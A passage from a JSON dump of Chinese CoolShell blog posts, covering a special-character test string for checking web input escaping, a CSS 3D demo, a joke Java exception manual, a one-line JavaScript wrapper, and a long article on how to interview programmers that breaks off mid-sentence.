class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3903.html\"><img alt=\"一些有意思的贴子和工具\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3903.html\">一些有意思的贴子和工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3013.html\"><img alt=\"一些非常有意思的杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/09/biolab-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1949.html\">Web中的省略号</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-12-15 Web程序的最佳测试数据.html",
    "content": "<html><body><p></p>\n<p style=\"text-align: left;\">这里有一篇Matthias写的<a href=\"http://united-coders.com/matthias-reuter/the-art-of-escaping\" title=\"The art of escaping\">关于转义字符文章-“The art of escaping”</a>，这篇文章告诉你有一些比较特殊的字符需要你去认真的处理，不然，你的网站程序轻则出错，重则被人黑了。这些物殊的字符是[<code>&lt;\"@%'&amp;_\\?/:;,&gt;কী €</code>] ，你可以使用这个字符串到任意一个可以输入的Web程序上去做测试。</p>\n<p>下面这个表格告诉你为什么这些字符很特殊。这个列表不会是完整的，而且也永远不会完整。<br/>\n</p><center>\n<table border=\"0\">\n<thead>\n<tr>\n<th>相关领域</th>\n<th>转义字符</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><a href=\"http://www.w3.org/\" title=\"W3C\">HTML</a></td>\n<td>&lt; , &gt; , &amp;</td>\n</tr>\n<tr>\n<td><a href=\"http://json.org/\" title=\"JSON-Resource\">JSON</a></td>\n<td>“</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.0/en/string-syntax.html\" title=\"mysql character\">SQL</a> in mySql</td>\n<td>字符串 “, ‘, 通配符 %, _</td>\n</tr>\n<tr>\n<td><a href=\"http://www.faqs.org/rfcs/rfc1738.html\" title=\"rfc 1738 for urls\">rfc 1738</a> for URL-parameter</td>\n<td>;, /, ?, :, “, @, =, &amp; 空格</td>\n</tr>\n</tbody>\n</table>\n<p></p></center><br/>\n把这些转义字符放在一起，然后再整些 utf-8 的一些特殊字符。这些utf-8的字符你可以参看本站的<a href=\"https://coolshell.cn/articles/1331.html\" rel=\"bookmark\">Unicode字符预览表</a>一文，并从中获取。另外，你还可以使用下面的这些工具来对你的程序进行调试或检查：\n<ul>\n<li>一个高级Web调试插件： <a href=\"https://addons.mozilla.org/de/firefox/addon/1843\" title=\"firebug plugin\">firebug</a></li>\n<li>标准的请求/响应插件： <a href=\"https://addons.mozilla.org/de/firefox/addon/3829\">Live HTTP headers</a></li>\n<li>一些抓包程序： <a href=\"https://addons.mozilla.org/en-US/firefox/addon/6647\">HTTPfox</a> or <a href=\"https://addons.mozilla.org/en-US/firefox/addon/966\">tamper data</a></li>\n<li>IE的开发者可以试试这个：<a href=\"http://www.fiddler2.com/fiddler2/\">Fiddler.com</a></li>\n</ul>\n<p>如果上面的工具都不能帮助你的话，你可能需要打调试日志，或是使用一个透明的代理服务器：如： <a href=\"http://www.charlesproxy.com/\">Charles Web Debugging Proxy</a> （Windows）</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21649.html\"><img alt=\"源代码特洛伊木马攻击\" height=\"150\" src=\"../wp-content/uploads/2021/11/il_340x270_pggv-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21649.html\">源代码特洛伊木马攻击</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12206.html\"><img alt=\"HTML6 展望\" height=\"150\" src=\"../wp-content/uploads/2014/12/html6-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12206.html\">HTML6 展望</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8711.html\"><img alt=\"程序员疫苗：代码注入\" height=\"150\" src=\"../wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8711.html\">程序员疫苗：代码注入</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1957.html\">Web程序的最佳测试数据</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-12-16 纯CSS做的3D效果.html",
    "content": "<html><body><p>下面是一个用CSS做的一个3D的效果。你可以使用鼠标在图片中移动来显示这个效果。其实，这个效果只是能过移动图片来产生的。其可以工作在Internet Explorer 8, Firefox 3, Opera 9, Safari 3, Chrome 4 和 Konqueror 3.5下。网页在这里：<a href=\"http://www.romancortes.com/ficheros/meninas.html\" target=\"_blank\">http://www.romancortes.com/ficheros/meninas.html</a></p>\n<p></p><p align=\"center\"></p><br/>\n<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n-->\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6913.html\"><img alt=\"神奇的CSS形状 \" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6913.html\">神奇的CSS形状 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6840.html\"><img alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" height=\"150\" src=\"../wp-content/uploads/2012/03/css-layouts-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6840.html\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6043.html\"><img alt=\"Web开发中需要了解的东西\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6043.html\">Web开发中需要了解的东西</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5164.html\"><img alt=\"CSS图形\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5164.html\">CSS图形</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1962.html\">纯CSS做的3D效果</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-12-17 Java异常另类手册.html",
    "content": "<html><body><p>在这个页面上<a href=\"http://rymden.nu/exceptions.html\">http://rymden.nu/exceptions.html</a>，你会看到Java的各种异常，不过，你看看各个异常的解释，你会发现非常有趣，下面例举几个吧：</p>\n<p><strong>java.lang.ArithmeticException</strong></p>\n<p>你正在使用计算解决一个你不能自己解释的数学问题，请你重新读一下你的程序，然后，再试一次。</p>\n<p><strong>java.lang.ClassNotFoundException</strong></p>\n<p>你应该是发明创造了一个你自己的类，目前，Java中还没有实现“<a href=\"http://zh.wikipedia.org/wiki/%E5%8D%B0%E5%BA%A6%E7%A7%8D%E5%A7%93%E5%88%B6%E5%BA%A6\" target=\"_blank\">种姓制度</a>”，但是Java明显使用了巴厘岛的种姓制度。也就是说，如果你是一个武士（wesia），也就相当于印度种姓制度中的第三层——吠舍（vaishya）</p>\n<p><strong>java.lang.IllegalAccessException</strong></p>\n<p>你是一个正在运行Java程序入室盗窃的小偷，请停止对电脑的盗窃行为，离开房子，然后再试一次。</p>\n<p><span id=\"more-1970\"></span></p>\n<p><strong>java.lang.NullPointerException</strong></p>\n<p>你没有狗。请你先找一只狗（比如：布烈塔尼獵犬），然后再试一次。</p>\n<p><strong>java.lang.SecurityException</strong></p>\n<p>你已被认为是国家安全的一个威胁。请你呆在原地别动，然后等着警察来并带你走。</p>\n<p><strong>java.awt.AWTException</strong></p>\n<p>你正在使用AWT，也就是说你的图形界面会很丑。这个异常只是一个警告可以被忽略。</p>\n<p><strong>java.beans.IntrospectionException</strong></p>\n<p>你太内向了，你应该变得外向一些。 请你不要再干这些无奈的事了，出门去见见人吧。</p>\n<p><strong>java.io.EOFException</strong></p>\n<p>你只所以要看手册是因为你不知道EOF是什么意思。我并不打算告诉你，因为你是一个不学无术的人。</p>\n<p><strong>java.io.FileNotFoundException</strong></p>\n<p>连木匠都知道他的工具放在哪里。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11541.html\"><img alt=\"面向GC的Java编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11541.html\">面向GC的Java编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11454.html\"><img alt=\"从LongAdder看更高效的无锁实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11175.html\"><img alt=\"Java中的CopyOnWrite容器\" height=\"150\" src=\"../wp-content/uploads/2014/03/cow-copy-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11175.html\">Java中的CopyOnWrite容器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9703.html\"><img alt=\"无锁HashMap的原理与实现\" height=\"150\" src=\"../wp-content/uploads/2013/05/图1-3-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9703.html\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1970.html\">Java异常另类手册</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-12-18 一个“精湛”的JS程序.html",
    "content": "<html><body><p>下面是一个很“精湛”的JS程序：</p>\n<p style=\"text-align: center;\"><a href=\"http://rmd.atdmt.com/tl/DocumentDotWrite.js\" target=\"_blank\">http://rmd.atdmt.com/tl/DocumentDotWrite.js</a></p>\n<p>这个JS文件中“精湛”之处在于，其只有一行代码，如下所示：</p>\n<blockquote><p>function <strong>DocumentDotWrite</strong>(s){document.write(s);}</p></blockquote>\n<p>下面这个贴子讨论了这个JS文件：<br/>\n<a href=\"http://forums.thedailywtf.com/forums/p/7872/147330.aspx\">http://forums.thedailywtf.com/forums/p/7872/147330.aspx</a></p>\n<p>大家都在猜测为什么那个程序员要这么干，下面是一些猜测：</p>\n<ol>\n<li>网友superjer说：这是一个伟大的创造，解决了你的键盘“.”键损坏的情况。</li>\n<li>网友Heron说：这是从Character Map上拷贝粘贴下来的。</li>\n<li>网友mfah说：这是世界上第一个用C来包装Javascript的示例。</li>\n<li>网友djork说：我是一个用手机编程的人，这个方法可以让人在手机上更容易输入我的代码。</li>\n<li>网友PSWorx说：可能他们想把document.write作为一个回调函数，但直接把document.write传进去不行。</li>\n<li>还有一个网友说：这么做或者可以阻止网页上的广告阻截器。</li>\n</ol>\n<p>呵呵，看来，“超级天才”和“极端愚蠢”可能只是一线之差，只有写这段程序的那个程序员才知道为什么要这么干了。也许，他的键盘的那个键真的是坏了也不一定。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17524.html\"><img alt=\"如何读懂并写出装逼的函数式代码\" height=\"150\" src=\"../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10739.html\"><img alt=\"Lua简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/12/lua-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10739.html\">Lua简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10337.html\"><img alt=\"数据即代码：元驱动编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1973.html\">一个“精湛”的JS程序</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-12-2 我是怎么招聘程序员的.html",
    "content": "<html><body><p><img alt=\"面试\" class=\"alignright\" height=\"160\" src=\"../wp-content/uploads/2009/12/job-interview.gif\" title=\"面试\" width=\"221\"/>很早以前就想写一篇和面试相关的文章了，今天在网络上看到一篇关于如何去面试程序员的<a href=\"http://www.aaronsw.com/weblog/hiring\" target=\"_blank\">英文文章</a>，发现其中有很多和我共鸣的东西，所以仿照其标题通过自己的经历写下了这篇文章。</p>\n<p>工作这么多年来，即被面试过，也面试过他人，对于程序员的面试，经历过很不错的面试，很专业的面试，也经历过一些BT和令人不爽的面试，我个人觉得一个好的面试，面试官是很重要的，所以，本文想从“面试官”的角度来阐述一下。于是，有了下面这样一篇的文章，希望本文对你的职场经历有用，特别是那些正在招聘和面试程序员的朋友，我觉得这篇文章会对大家有很多启示。此外，做为被面试的人，你可以看看本站的《<a href=\"https://coolshell.cn/articles/1695.html\" rel=\"bookmark\">别的程序员是怎么读你的简历的</a>》《<a href=\"https://coolshell.cn/articles/428.html\" rel=\"bookmark\">程序员需要具备的基本技能</a>》《<a href=\"https://coolshell.cn/articles/222.html\" rel=\"bookmark\">优秀程序员的十个习惯</a>》其它一些和<a href=\"https://coolshell.cn/?tag=programmer\" target=\"_blank\">程序员相关的文章</a>。</p>\n<p>对于招聘方来说，在招聘程序员的时候，我估计面试应聘者时，最主要想知道的是下面三件事：</p>\n<ol>\n<li>这个程序员的是否够聪明？</li>\n<li>这个程序员能否把事情搞定？</li>\n<li>这个程序员能和我的团队在一起工作吗？</li>\n</ol>\n<p>我相信，这是所有团队经理招人要考虑的三个问题，所有的问题也基本上围绕着这三个问题。有些时候，你也许觉得程序员的技术技能可以同时解决这三个问题，一个技术能力优秀的人必然是一个聪明的，可以搞定事情的人，当然也就能和团队一起工作了。是的，感觉看起来是这个样子，但其实并不是这样的。有些人的确很聪明，但却不能处理好工作上的事情，这样人应该是你的朋友，你的顾问，但不应该是你的雇员。有的人为人很不错，和团队所有人都合得来，但并不是很聪明，但工作很刻苦很努力，这样的人可以成为你的下属，比如某个下属骨干的助手，或是整个团队的助手。如果某个人不能和团队一起工作，无论其有多聪明，解决问题的能力有多强，你都不应该和他在一起工作。人个认为，团队的和谐是一切事情的前提。</p>\n<p><img alt=\"\" src=\"https://coolshell.cn/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif\" title=\"更多...\"/><span id=\"more-1870\"></span></p>\n<p>对于传统的面试招聘过程，基本上来说都是下面这样的样子的：</p>\n<ol>\n<li>阅读应聘者的简历，让应聘者做个自我介绍。</li>\n<li>问一些比较难的非常细节的技术问题，以一问一答的形式。</li>\n<li>给面试者一些和几个编程难题。（比如某些怪异的算法题）</li>\n</ol>\n<p>我个人觉得这种面试方法很可笑，也很糟糕，尤其是后面两点。通常来说，这样的面试只会让你面试到一些“书呆子”或是一些“技术痴迷者”，下面让我来一条一条地剖析一下这几条的弊端。</p>\n<ol>\n<li>你很难从一个人的简历或是自我介绍上了解一个人。因为这些都是当事人自己写的，或是自己阐述的。所以，这并不是很准确的，通过简历，你只能知道很简单的事情，这对于是否能招入团是远远不够的。而在面试的开始，让应聘者做自我介绍，只会让面试者以很正式的态度来面对整个面试。一但面试过程很正式，很严肃，就会让人很拘禁，其实，这并不是我们想要的，我要的是<strong>应聘者真实和自然的表现，从而才能了解到最真实的东西</strong>。</li>\n<li>问几个技术细节的问题。比如：我个人经历过的——“ps的-a参数是什么意思？”，“vi中删除换行符的命令是什么？”，“C++的关键字explict,mutable是用来干什么？”等等，等等。以前做为一个应聘者来说，我非常讨厌这样的问题，因为这样的问题查一下手册就知道。难道他要招的是一个字典手册？不是一个人？对于这方面，<strong>重要的不是知识，重要的是其查找知识的能力</strong>。</li>\n<li>给应聘者一个或几个很难的算法题，给上十几分钟，然后让面试者把伪代码或是代码写下来。这样的做法是相当可笑的，不能讨论不能查资料，让人在一种压力状态下作答，这根本就不是实际工作中的状态，而我们的面试也就成了一种刁难（我最变态的经历是，当我把写在两页纸上的代码上交上去后，面试官把其交给旁边程序员输出电脑做校验，结果程序员说，编译出错。于是，面试官说，“很遗憾，可能你写的程序还不多”，相当可笑）。对于这点来说，<strong>重要的不是那个解题的答案，而是解题的思路和方法</strong>。</li>\n</ol>\n<p>我以前经历过很多的面试，当技术人员来和我做面试的时候，我发现，“技术人员的思维”对于某些人来说根本分不清面试和考试，<strong>在潜意识里，他们在很多时候不是在面试这个人，而是在刁难这个人并以此展示自己的技能</strong>。我个人认为我是一个好的程序员，但我可以告诉你我无法通过那样的面试，因为那样的面试是为他们自己准备的，而不是为应聘者准备的。</p>\n<p>那么，我又是怎样去面试的呢？</p>\n<p><strong>一、确认简历。</strong>首先，阅读一下别人的简历是需要的，从简历上，工作经历，项目经历，技术技能这三个事情是你需要了解的。一般来说，你可以先通过电话确定一下他的工作经历，项目经历和技术技能，然后，如果他和你需要的人条件相符的话，可以叫到公司做面对面的面试。千万不要把别人叫来，你又说你的经历和我们的工作有差距之类的话。（我有过一次面试经历，公司我不说了，反正是那个号称需要有良好沟通的公司，面试了我9次左右，从一般的程序员，PM，经理，到总经理，而最后一次直接告诉我，我以前的经历和他们的要求差距很大。我不禁要问了，前面若干次的面试他们都在干什么呢？）</p>\n<p><strong>二、面试开场。</strong>其次，把人邀请来公司面试，应聘者到了公司来面试，有一点很重要，那就是你一定要让整个面试过程变得很随意，很放松，就像普通的聊天和一般朋友间的交流一样。这样应聘者才会放松并拿出真实的样子来和你谈话和聊天，你才能在很短的时间内了解得更多。让应聘者放下心理负担，让其表现得自然一些，这是招聘方的责任。千万不要说，别人太紧张发挥的不好，有时候，招聘方得想想自己的问题。</p>\n<p>面试开场的时候，千万不要让应聘者介绍自己，因为，应聘者早就给你发过简历了，而你也给其打过电话了。另外，应聘者对这个面试惯例通常都会准备得非常不错的，另一方面，这会让整个面试过程太正式太严肃了。所以，不妨问问应聘者是怎么过来的？最近怎么样？还可以和应聘者谈一个大众话题，比如喜欢什么体育，音乐，电影，社会热点什么的，自己也别板着个脸，说说笑笑，试图让大家都放松下来。另外，通过这些闲聊，你可以知道他/她的与人交往能力和一些性格。另外，不要让桌子放在你和应聘者之间，把环境搞得随意一些。</p>\n<p><strong>三、多让应聘者说说他的经历</strong>。接下来，如果你要觉得这个应聘者是否是一个可以解决问题，是一个可以把事情搞定的人，不用问他/她会做什么，直接问问其做过什么？干过什么事？对于一个好的程序员来说，很难想像其没有相关的实践，就算你是在大学里，你也应该做过什么。如果你有解决问题的能力，那么，很显然，今天你应该解决了很多问题，也搞定了很多事情，听听应聘者说一说他的那些事。（不要使用一问一答这种方式，应该让应聘者多说，而多听，多想）</p>\n<p>在他讲他的项目的时候，通常来说你要注意下面几点：</p>\n<ul>\n<li><strong>沟通表达能力</strong>。应聘者能不能把一个事情讲清楚。如果这个人聪明的话，他就可以用最简单的语言把一个复杂的事情讲清楚。而且，这是一个好的程序员最基本的能力。而且，你可以在应聘者一边描述其经历的时候，你可以和应聘者有一些的良好的来来回回的交谈，这样就可以知道，他的沟通能力和沟通方式，从而了解他的性格，。</li>\n<li><strong>角色和位置</strong>。也许他参与了一个很大的项目，但只是做了一个很简单的模块。所以，了解其在项目中的担任的角色和位置是非常必要的。当应聘者说到“我们”或者“大家”之类的词汇时，一定要向下细化和明确。</li>\n<li><strong>做出的贡献和解决了什么的问题</strong>。这个很重要，通过了解这个，你可以知道面试者是否聪明，是否有能力解决问题，是否有好的技术底子。</li>\n<li><strong>演示</strong>。如果可能，你可以让应聘者展示一些其写过的代码，做过的设计，或是直接给你看看他写的程序的演示。（从设计上，代码的风格，重用性，维护性上你可以了解很多很多）</li>\n<li><strong>基础知识</strong>。了解该项目中应聘者使用的技术的一些基础知识，比如，通过整个过程，你可以问一些网络，语言，面象对象，系统的一些基础知识。基础知识是非常重要的，这直接关系到了他的能力。</li>\n<li><strong>流程和工具</strong>。了解应聘者所熟悉的项目的流程（银弹，瀑布，敏捷，……），还有流程中的一些工件（如：需求文档，设计文档，测试方档等），以及在开发过程中使用的工具（内存测试，代码检查，BUG报告，版本维护，开发调试……）（关于程序员的基本技能，你可以参考——《<a href=\"https://coolshell.cn/articles/428.html\" 